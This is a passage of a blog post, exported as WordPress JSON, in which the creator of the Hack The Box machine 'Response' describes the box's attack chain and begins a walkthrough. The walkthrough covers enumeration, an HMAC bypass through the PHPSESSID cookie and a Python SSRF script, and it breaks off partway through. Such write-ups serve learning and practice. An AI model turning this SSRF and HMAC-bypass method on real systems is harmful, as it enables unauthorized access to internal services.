{"id":2594,"date":"2023-02-04T18:31:43","date_gmt":"2023-02-04T18:31:43","guid":{"rendered":"https:\/\/devel0pment.de\/?p=2594"},"modified":"2023-06-26T06:15:08","modified_gmt":"2023-06-26T06:15:08","slug":"hack-the-box-response","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=2594","title":{"rendered":"Hack The Box &#8211; Response"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/Response-e1662210806123.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>Ever since I played <a href=\"https:\/\/www.hackthebox.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hack The Box<\/a>, I have wanted to create a box myself. As the time went by, I encountered so much cool vulnerabilities and techniques both in real-world engagements and CTFs, which I thought would be fun to put in a box. The result of this is <code>Response<\/code>.<\/p>\n\n\n\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=2594#intro\">Introduction<\/a><br>\n\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=2594#user\">User (\u2192 bob)<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#enum\">Enumeration<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#ssrf\">Server Side Request Forgery<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#chat\">Internal Chat Application<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#csrf\">Cross-Protocol Request Forgery<\/a><br>\n\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=2594#scryh\">Scanning Script (bob \u2192 scryh)<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#https\">Make own HTTPS Server being scanned<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#dns\">Setting up own DNS Server<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#smtp\">Setting up own SMTP Server<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#dirtraversal\">Directory Traversal<\/a><br>\n\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=2594#root\">Incident Report (scryh \u2192 root)<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#meterpreter\">Decrypting Meterpreter Session<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;\u2013 <a href=\"https:\/\/devel0pment.de\/?p=2594#rsa\">Restoring RSA private key<\/a><br><br>\n\n\n\n<!--more-->\n\n\n\n<style>\ncode {\n  color:#2222ff;\n  font-family:'Courier New', monospace;\n  font-weight:bold;\n}\n<\/style>\n<hr>\n\n<h1 id=\"intro\">Introduction<\/h1>\n\n\n\n<p>The difficulty of the box is based on the fact that players are required to perform quite a lot of steps and chain different vulnerabilities. My goal was to keep the box as realistic as possibly and ensure that it is quite obvious what the next step is avoiding unnecessary digging around. Three of the involved steps require players to set up an own server (<code>LDAP<\/code>, <code>HTTPS<\/code>, <code>DNS<\/code> and <code>SMTP<\/code>) in order answer to requests from the box with the correct response, hence the name <code>Response<\/code>.<\/p>\n\n\n\n<p>The box simulates an internet facing server of a company, which provides automated scanning services to their customers.<\/p>\n\n\n\n<p>The server is also connected to the internal network of the company. The types of vulnerabilities \/ required skills involved are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Server Side Request Forgery (SSRF): circumvent an HMAC validation and gain access to internal network<\/li>\n\n\n\n<li>Advanced SSRF: use SSRF to establish a socket.io connection using HTTP long-polling<\/li>\n\n\n\n<li>Authentication Bypass: increase privileges in a chat application by deploying an own LDAP server<\/li>\n\n\n\n<li>Cross-Protocol Request Forgery: retrieve sensitive data from an internal FTP server using a javascript payload<\/li>\n\n\n\n<li>LDAP Configuration: add new LDAP entries to make scanning engine scan own server<\/li>\n\n\n\n<li>Server Administration: configure and run an own HTTPS, DNS and SMTP server, which serves as a scan target<\/li>\n\n\n\n<li>Directory Traversal: read arbitrary files via a self-signed TLS certificate<\/li>\n\n\n\n<li>Forensics: decrypt meterpreter network capture using a core dump<\/li>\n\n\n\n<li>Cryptography: recover RSA secret and generate OpenSSH private key<\/li>\n<\/ul>\n\n\n\n<p>An <code>SSRF<\/code> vulnerability in the public website allows players to query websites on the internal network. One of those internal websites is a chat application, which uses the <code>socket.io<\/code> library. The first major challenge is to leverage the <code>SSRF<\/code>, which cannot be used to establish a websocket connection, in order to access the chat application. This requires players to use the fallback polling mechanism of <code>socket.io<\/code>. Once the chat application can be accessed, players can notice an employee (<code>bob<\/code>), which is actively asking for the user <code>admin<\/code>. After having retrieved the source code of the application, players are supposed to identify an authentication bypass. The cause of this bypass is the ability to change the <code>LDAP<\/code> server, which the chat application uses for authentication. By setting up an own <code>LDAP<\/code> server (or simply responding with a successful <code>LDAP<\/code> bind response) players can gain access the chat application as the <code>admin<\/code> user. At this point the employee <code>bob<\/code> is willing to share sensitive information including the credentials for an internal <code>FTP<\/code> server. The employee further asks <code>admin<\/code> to send him a link, which he will open in his browser. This allows players to craft and host a javascript payload, which queries the internal <code>FTP<\/code> server with the provided credentials by leveraging <code>Cross-Protocol Request Forgery<\/code>. Since the <code>FTP<\/code> server uses the <code>active mode<\/code> by default, data can be exfiltrated from the server to the players machines. This data includes credentials for the user <code>bob<\/code>, which now can be used to access the box via <code>SSH<\/code> (<code>user.txt<\/code>).<\/p>\n\n\n\n<p>Once on the box players can inspect the automated scanning engine of the company, which is basically a <code>bash<\/code> script using <code>nmap<\/code>. This script retrieves the ip address of the servers supposed to be scanned as well as the email address of the corresponding customer via <code>LDAP<\/code>. The scan result is converted to a <code>PDF<\/code> file, which is sent to the customers email address. One of the used <code>nmap<\/code> <code>nse<\/code> scripts (<code>ssl-cert<\/code>) is slightly modified introducing a directory traversal vulnerability. This vulnerability can be used to read arbitrary files by creating an own <code>TLS<\/code> certificate with a directory traversaling <code>State or Province Name<\/code> field, running a <code>HTTPS<\/code> server using this certificate and adding an <code>LDAP<\/code> entry for this server, so that it is scanned. By also adding an own email address to <code>LDAP<\/code> the resulting <code>PDF<\/code> file, which contains the output of the arbitrary file read, will be sent to this email address. Receiving this email requires players to set up both a <code>DNS<\/code> and <code>SMTP<\/code> server. After this setup is deployed the directory traversal vulnerability can be used to acquire the <code>SSH<\/code> private key of the user <code>scryh<\/code>. This user has access to a recent incident report as well as the related files. The report describes an attack where the attacker was able to trick the server admin (<code>root<\/code>) into executing a meterpreter payload. The files attached to the report are a core dump of the running process as well as the related network capture. Players are supposed to acquire the plaintext meterpreter communication by decrypting the traffic. This requires the core dump in order to retrieve the <code>AES256<\/code> session key. Having access to the plaintext communication reveals that the attacker downloaded a zip archive, which among others contain the <code>authorized_keys<\/code> file of the <code>root<\/code> user as well as a screenshot, which shows the last few lines of the <code>root<\/code> private SSH key. By extracting the <code>RSA<\/code> values <code>N<\/code> and <code>e<\/code> from the <code>authorized_keys<\/code> file and the <code>q<\/code> value from the partial private key, players can calculate the missing values (<code>p<\/code>, <code>d<\/code> and <code>iqmp<\/code>) and craft a working private key in order to gain <code>root<\/code> access via <code>SSH<\/code> (<code>root.txt<\/code>).<\/p>\n\n\n\n<h1 id=\"user\">User<\/h1>\n\n<h2 id=\"enum\">Enumeration<\/h2>\n\n\n\n<p>The initial port scan reveals two open ports <code>22\/tcp<\/code> and <code>80\/tcp<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo nmap -v -sV -sC 10.10.13.37 -oN response\n...\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 e9:a4:39:4a:fb:06:5d:57:82:fc:4a:0e:0b:e4:6b:25 (RSA)\n|   256 a3:23:e4:98:df:b6:91:1b:f2:ac:2f:1c:c1:46:9b:15 (ECDSA)\n|_  256 fb:10:5f:da:55:a6:6b:95:3d:f2:e8:5c:03:36:ff:31 (ED25519)\n80\/tcp open  http    nginx 1.21.6\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: nginx\/1.21.6\n|_http-title: Did not follow redirect to http:\/\/www.response.htb\nMAC Address: 08:00:27:9D:84:9E (Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/pre><\/div>\n\n\n<p>A full port scan does not reveal any additional open ports:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo nmap -v -p- 10.10.13.37 -oN response-full\n...\nPORT   STATE SERVICE\n22\/tcp open  ssh\n80\/tcp open  http\n<\/pre><\/div>\n\n\n<p>According to the nmap output, the <code>nginx<\/code> webserver running on port <code>80\/tcp<\/code> redirects to <code>http:\/\/www.response.htb<\/code>. We can verify this using <code>curl<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ curl -v http:\/\/10.10.13.37   \n...\n&lt; HTTP\/1.1 302 Moved Temporarily\n&lt; Server: nginx\/1.21.6\n&lt; Date: Tue, 08 Mar 2022 10:02:19 GMT\n&lt; Content-Type: text\/html\n&lt; Content-Length: 145\n&lt; Connection: keep-alive\n&lt; Location: http:\/\/www.response.htb\n&lt; \n&lt;html&gt;\n&lt;head&gt;&lt;title&gt;302 Found&lt;\/title&gt;&lt;\/head&gt;\n&lt;body&gt;\n&lt;center&gt;&lt;h1&gt;302 Found&lt;\/h1&gt;&lt;\/center&gt;\n&lt;hr&gt;&lt;center&gt;nginx\/1.21.6&lt;\/center&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>Thus we add <code>www.response.htb<\/code> to our <code>hosts<\/code> file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat \/etc\/hosts\n...\n10.10.13.37     www.response.htb\n...\n<\/pre><\/div>\n\n\n<p>Also we try to find different subdomain by using <code>ffuf<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ ffuf -w \/usr\/share\/wordlists\/SecLists\/Discovery\/DNS\/subdomains-top1million-110000.txt -u http:\/\/10.10.13.37 -H &#039;Host: FUZZ.response.htb&#039; -c -fs 145\n...\nwww                     &#x5B;Status: 200, Size: 4616, Words: 1831, Lines: 110]\nchat                    &#x5B;Status: 403, Size: 153, Words: 3, Lines: 8]\napi                     &#x5B;Status: 403, Size: 153, Words: 3, Lines: 8]\nproxy                   &#x5B;Status: 200, Size: 21, Words: 1, Lines: 2]\nWWW                     &#x5B;Status: 200, Size: 4616, Words: 1831, Lines: 110]\n<\/pre><\/div>\n\n\n<p>There are three other subdomains: <code>chat<\/code> and <code>api<\/code> (returning <code>403<\/code>) and <code>proxy<\/code> (returning <code>200<\/code>). We also add these to our <code>hosts<\/code> file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat \/etc\/hosts\n...\n10.10.13.37     www.response.htb chat.response.htb api.response.htb proxy.response.htb\n...\n<\/pre><\/div>\n\n\n<p>We start by visiting the subdomain <code>www.response.htb<\/code>. The page seems to be owned by a company called <code>Response Scanning Solutions<\/code>, which offers scanning services to their customers:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"974\" height=\"715\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-01.png\" alt=\"\" class=\"wp-image-2610\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-01.png 974w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-01-300x220.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-01-768x564.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The content of the webpage seems to be only static without any obvious attack surface. Thus we start to look for additional files and folders:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ ffuf -w \/usr\/share\/wordlists\/SecLists\/Discovery\/Web-Content\/raft-large-directories.txt -u http:\/\/www.response.htb\/FUZZ -c\n...\ncss                     &#x5B;Status: 301, Size: 169, Words: 5, Lines: 8]\nimg                     &#x5B;Status: 301, Size: 169, Words: 5, Lines: 8]\nassets                  &#x5B;Status: 301, Size: 169, Words: 5, Lines: 8]\nfonts                   &#x5B;Status: 301, Size: 169, Words: 5, Lines: 8]\nstatus                  &#x5B;Status: 301, Size: 169, Words: 5, Lines: 8]\n                        &#x5B;Status: 200, Size: 4616, Words: 1831, Lines: 110]\n<\/pre><\/div>\n\n\n<p>There is an additional folder called <code>status<\/code>. By accessing this folder a status page is displayed:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"714\" height=\"547\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-02.png\" alt=\"\" class=\"wp-image-2611\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-02.png 714w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-02-300x230.png 300w\" sizes=\"(max-width: 714px) 100vw, 714px\" \/><\/figure>\n\n\n\n<p>According to the output the status of <code>API<\/code> and <code>Chat<\/code> is <code>running<\/code>. These names match the additional subdomains we have found (<code>api<\/code> and <code>chat<\/code>), which both returned a <code>403 Forbidden<\/code> status code. Also there seem to be one monitored test server.<\/p>\n\n\n\n<p>By inspecting the source code of the page, we can see that a javascript called <code>main.js.php<\/code> is included at the bottom:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\n...\n        &lt;h1&gt;Status&lt;\/h1&gt;\n        &lt;hr\/&gt;\n        &lt;h3&gt;API Status: &lt;span id=&quot;span_api_status&quot;&gt;&amp;lt;pending&amp;gt;&lt;\/span&gt;&lt;\/h3&gt;\n        &lt;h3&gt;Chat Status: &lt;span id=&quot;span_chat_status&quot;&gt;&amp;lt;pending&amp;gt;&lt;\/span&gt;&lt;\/h3&gt;\n        &lt;h3&gt;Monitored Servers:&lt;\/h3&gt;\n        &lt;table&gt;\n            &lt;thead&gt;\n                &lt;tr&gt;\n                    &lt;th&gt;ID&lt;\/th&gt;\n                    &lt;th&gt;Name&lt;\/th&gt;\n                    &lt;th&gt;IP address&lt;\/th&gt;\n                &lt;\/tr&gt;\n            &lt;\/thead&gt;\n            &lt;tbody id=&quot;tbody_servers&quot;&gt;\n                &lt;tr&gt;\n                    &lt;td colspan=&quot;3&quot;&gt;Loading data ...&lt;\/td&gt;\n                &lt;\/tr&gt;\n            &lt;\/tbody&gt;\n        &lt;\/table&gt;\n    &lt;script src=&quot;main.js.php&quot;&gt;&lt;\/script&gt;\n    &lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>Viewing the script <code>main.js.php<\/code> reveals that the displayed status is retrieved via the subdomain <code>proxy.response.htb<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nfunction get_api_status(handle_data, handle_error) {\n    url_proxy = &#039;http:\/\/proxy.response.htb\/fetch&#039;;\n    json_body = {&#039;url&#039;:&#039;http:\/\/api.response.htb\/&#039;, &#039;url_digest&#039;:&#039;cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545&#039;, &#039;method&#039;:&#039;GET&#039;, &#039;session&#039;:&#039;a4a367db2afceb92cd232cac0d2a45c0&#039;, &#039;session_digest&#039;:&#039;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&#039;};\n    fetch(url_proxy, {\n            method: &#039;POST&#039;,\n            headers: {&#039;Content-Type&#039;:&#039;application\/json&#039;},\n            body: JSON.stringify(json_body)\n    }).then(data =&gt; {\n            return data.json();\n    })\n    .then(json =&gt; {\n      if (json.status_code === 200) handle_data(JSON.parse(atob(json.body)));\n      else handle_error(&#039;status_code &#039; + json.status_code);\n    });\n}\n...\n<\/pre><\/div>\n\n\n<p>The above displayed method <code>get_api_status<\/code> makes an HTTP <code>POST<\/code> request to <code>http:\/\/proxy.response.htb\/fetch<\/code>. Within the body of the request <code>JSON<\/code> data with the following five properties is sent:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>url<\/li>\n\n\n\n<li>url_digest<\/li>\n\n\n\n<li>method<\/li>\n\n\n\n<li>session<\/li>\n\n\n\n<li>session_digest<\/li>\n<\/ul>\n\n\n\n<p>Within Burp we can see the corresponding HTTP <code>POST<\/code> request made by the javascript:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/fetch HTTP\/1.1\nHost: proxy.response.htb\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: *\/*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http:\/\/www.response.htb\/status\/\nContent-Type: application\/json\nOrigin: http:\/\/www.response.htb\nContent-Length: 258\nConnection: close\n\n{&quot;url&quot;:&quot;http:\/\/api.response.htb\/&quot;,&quot;url_digest&quot;:&quot;cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545&quot;,&quot;method&quot;:&quot;GET&quot;,&quot;session&quot;:&quot;a4a367db2afceb92cd232cac0d2a45c0&quot;,&quot;session_digest&quot;:&quot;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&quot;}\n<\/pre><\/div>\n\n\n<p>\u2026 as well as the response from the <code>proxy.response.htb<\/code> subdomain:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\nServer: nginx\/1.21.6\nDate: Tue, 08 Mar 2022 10:22:50 GMT\nContent-Type: application\/json\nContent-Length: 382\nConnection: close\nAccess-Control-Allow-Origin: http:\/\/www.response.htb\n\n{&quot;body&quot;:&quot;eyJhcGlfdmVyc2lvbiI6IjEuMCIsImVuZHBvaW50cyI6W3siZGVzYyI6ImdldCBhcGkgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvIn0seyJkZXNjIjoiZ2V0IGludGVybmFsIGNoYXQgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvZ2V0X2NoYXRfc3RhdHVzIn0seyJkZXNjIjoiZ2V0IG1vbml0b3JlZCBzZXJ2ZXJzIGxpc3QiLCJtZXRob2QiOiJHRVQiLCJyb3V0ZSI6Ii9nZXRfc2VydmVycyJ9XSwic3RhdHVzIjoicnVubmluZyJ9Cg==&quot;,&quot;status_code&quot;:200}\n<\/pre><\/div>\n\n\n<p>Within the <code>get_api_status<\/code> function we can see that the <code>body<\/code> property of the JSON response is base64 decoded (<code>atob<\/code>) and parsed as JSON data (<code>JSON.parse<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n      if (json.status_code === 200) handle_data(JSON.parse(atob(json.body)));\n...\n<\/pre><\/div>\n\n\n<p>By doing this manually for the above response, we get the following JSON content:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ echo eyJhcGlfdmVyc2lvbiI6IjEuMCIsImVuZHBvaW50cyI6W3siZGVzYyI6ImdldCBhcGkgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvIn0seyJkZXNjIjoiZ2V0IGludGVybmFsIGNoYXQgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvZ2V0X2NoYXRfc3RhdHVzIn0seyJkZXNjIjoiZ2V0IG1vbml0b3JlZCBzZXJ2ZXJzIGxpc3QiLCJtZXRob2QiOiJHRVQiLCJyb3V0ZSI6Ii9nZXRfc2VydmVycyJ9XSwic3RhdHVzIjoicnVubmluZyJ9Cg==|base64 -d\n{&quot;api_version&quot;:&quot;1.0&quot;,&quot;endpoints&quot;:&#x5B;{&quot;desc&quot;:&quot;get api status&quot;,&quot;method&quot;:&quot;GET&quot;,&quot;route&quot;:&quot;\/&quot;},{&quot;desc&quot;:&quot;get internal chat status&quot;,&quot;method&quot;:&quot;GET&quot;,&quot;route&quot;:&quot;\/get_chat_status&quot;},{&quot;desc&quot;:&quot;get monitored servers list&quot;,&quot;method&quot;:&quot;GET&quot;,&quot;route&quot;:&quot;\/get_servers&quot;}],&quot;status&quot;:&quot;running&quot;}\n<\/pre><\/div>\n\n\n<p>This seems to be the response from the <code>http:\/\/api.response.htb\/<\/code> endpoint, which was provided as the <code>url<\/code> parameter in the request to <code>http:\/\/proxy.response.htb\/fetch<\/code>.<\/p>\n\n\n\n<p>Based on this observation we can deduce that the <code>http:\/\/proxy.response.htb\/fetch<\/code> endpoint can be used to proxy requests to other web applications, which we cannot access directly (<code>api.response.htb<\/code> returned <code>403 Forbidden<\/code> when accessed directly).<\/p>\n\n\n\n<h2 id=\"ssrf\">Server Side Request Forgery<\/h2>\n\n\n\n<p>If we can change the URL requested by the proxy, we have identified a <code>Server Side Request Forgery<\/code> (<code>SSRF<\/code>) vulnerability. So let&#8217;s send the response to <code>proxy.response.htb<\/code> to Burp&#8217;s repeater and change the <code>url<\/code> parameter to <code>http:\/\/localhost<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"501\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-03-1024x501.png\" alt=\"\" class=\"wp-image-2612\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-03-1024x501.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-03-300x147.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-03-768x375.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-03.png 1348w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The proxy responds with a <code>400 BAD REQUEST<\/code> and the error text <code>invalid url_digest<\/code>. Accordingly the <code>url_digest<\/code> parameter seems to be an <code>HMAC<\/code> value for the <code>url<\/code> parameter preventing any tampering. In order to change the <code>url<\/code>, we either need to determine the <code>HMAC<\/code> secret or find a way to make the server calculate it for us. We will go for the later approach.<\/p>\n\n\n\n<p>The javascript file <code>main.js.php<\/code> seems to be calculated dynamically, since it does also contain the <code>session<\/code> parameter:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n    json_body = {..., &#039;session&#039;:&#039;a4a367db2afceb92cd232cac0d2a45c0&#039;, &#039;session_digest&#039;:&#039;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&#039;};\n...\n<\/pre><\/div>\n\n\n<p>This parameter is retrieved from the <code>PHPSESSID<\/code> cookie we send in our request. Since there is also an <code>HMAC<\/code> value (<code>session_digest<\/code>) for this parameter, we can use this to craft the <code>HMAC<\/code> for an arbitrary value by setting the <code>PHPSESSID<\/code> to this value.<\/p>\n\n\n\n<p>Let&#8217;s test this by generating an <code>HMAC<\/code> value for the <code>http:\/\/localhost<\/code> URL. In order to do this we send a <code>GET<\/code> request to <code>http:\/\/www.response.htb\/status\/main.js.php<\/code> and set the <code>PHPSESSID<\/code> cookie to <code>http:\/\/localhost<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nGET \/status\/main.js.php HTTP\/1.1\nHost: www.response.htb\n...\nCookie: PHPSESSID=http:\/\/localhost\n<\/pre><\/div>\n\n\n<p>The response contains a warning since the session ID contains invalid characters. Though we can see that the generated javascript actually contains <code>http:\/\/localhost<\/code> in the <code>session<\/code> parameter as well as a value for the <code>session_digest<\/code> parameter:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\nServer: nginx\/1.21.6\nDate: Tue, 08 Mar 2022 11:19:22 GMT\nContent-Type: text\/html; charset=UTF-8\nConnection: close\nX-Powered-By: PHP\/8.1.3\nContent-Length: 4631\n\n&lt;br \/&gt;\n&lt;b&gt;Warning&lt;\/b&gt;:  session_start(): Session ID is too long or contains illegal characters. Only the A-Z, a-z, 0-9, &amp;quot;-&amp;quot;, and &amp;quot;,&amp;quot; characters are allowed in &lt;b&gt;\/var\/www\/html\/status\/main.js.php&lt;\/b&gt; on line &lt;b&gt;3&lt;\/b&gt;&lt;br \/&gt;\n&lt;br \/&gt;\n&lt;b&gt;Warning&lt;\/b&gt;:  session_start(): Failed to read session data: files (path: ) in &lt;b&gt;\/var\/www\/html\/status\/main.js.php&lt;\/b&gt; on line &lt;b&gt;3&lt;\/b&gt;&lt;br \/&gt;\nfunction get_api_status(handle_data, handle_error) {\n    url_proxy = &#039;http:\/\/proxy.response.htb\/fetch&#039;;\n    json_body = {&#039;url&#039;:&#039;http:\/\/api.response.htb\/&#039;, &#039;url_digest&#039;:&#039;cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545&#039;, &#039;method&#039;:&#039;GET&#039;, &#039;session&#039;:&#039;http:\/\/localhost&#039;, &#039;session_digest&#039;:&#039;3af3a95bf767911c1aeb4780558a4fbfca430d9beb865d69c1d0dcee470b396d&#039;};\n    fetch(url_proxy, {\n    ...\n<\/pre><\/div>\n\n\n<p>Now we can take the <code>session_digest<\/code> value and use it for the <code>url_digest<\/code> value in the request to <code>proxy.response.htb<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/fetch HTTP\/1.1\nHost: proxy.response.htb\n...\n\n{&quot;url&quot;:&quot;http:\/\/localhost&quot;,&quot;url_digest&quot;:&quot;3af3a95bf767911c1aeb4780558a4fbfca430d9beb865d69c1d0dcee470b396d&quot;,&quot;method&quot;:&quot;GET&quot;,&quot;session&quot;:&quot;a4a367db2afceb92cd232cac0d2a45c0&quot;,&quot;session_digest&quot;:&quot;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&quot;}\n<\/pre><\/div>\n\n\n<p>This time we get another error message:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\nServer: nginx\/1.21.6\nDate: Tue, 08 Mar 2022 11:22:31 GMT\nContent-Type: application\/json\nContent-Length: 257\nConnection: close\nAccess-Control-Allow-Origin: http:\/\/www.response.htb\n\n{&quot;error&quot;:&quot;HTTPConnectionPool(host=&#039;localhost&#039;, port=80): Max retries exceeded with url: \/ (Caused by NewConnectionError(&#039;&lt;urllib3.connection.HTTPConnection object at 0x7f7e4893e020&gt;: Failed to establish a new connection: &#x5B;Errno 111] Connection refused&#039;))&quot;}\n<\/pre><\/div>\n\n\n<p>According to the error message the request to <code>http:\/\/localhost<\/code> was actually made, but no service is listening on port <code>80\/tcp<\/code>.<\/p>\n\n\n\n<p>At this point we can write a script, which automates the process of retrieving the <code>HMAC<\/code> value for a given URL via <code>http:\/\/www.response.htb\/status\/main.js.php<\/code> using the <code>PHPSESSID<\/code> value and then requesting this URL via <code>http:\/\/proxy.response.htb\/fetch<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nimport requests\nimport re\n\ndef get_digest(url):\n  c = {&#039;PHPSESSID&#039;: url}\n  r = requests.get(&#039;http:\/\/www.response.htb\/status\/main.js.php&#039;, cookies=c)\n  x = re.search(&#039;\\&#039;session_digest\\&#039;:\\&#039;(&#x5B;0-9a-f]+)\\&#039;};&#039;, r.text)\n  if (not x): return None\n  return x.group(1)\n\ndef request_url(url):\n  url_digest = get_digest(url)\n  j = {&#039;url&#039;:url, &#039;url_digest&#039;:url_digest, &#039;method&#039;:&#039;GET&#039;, 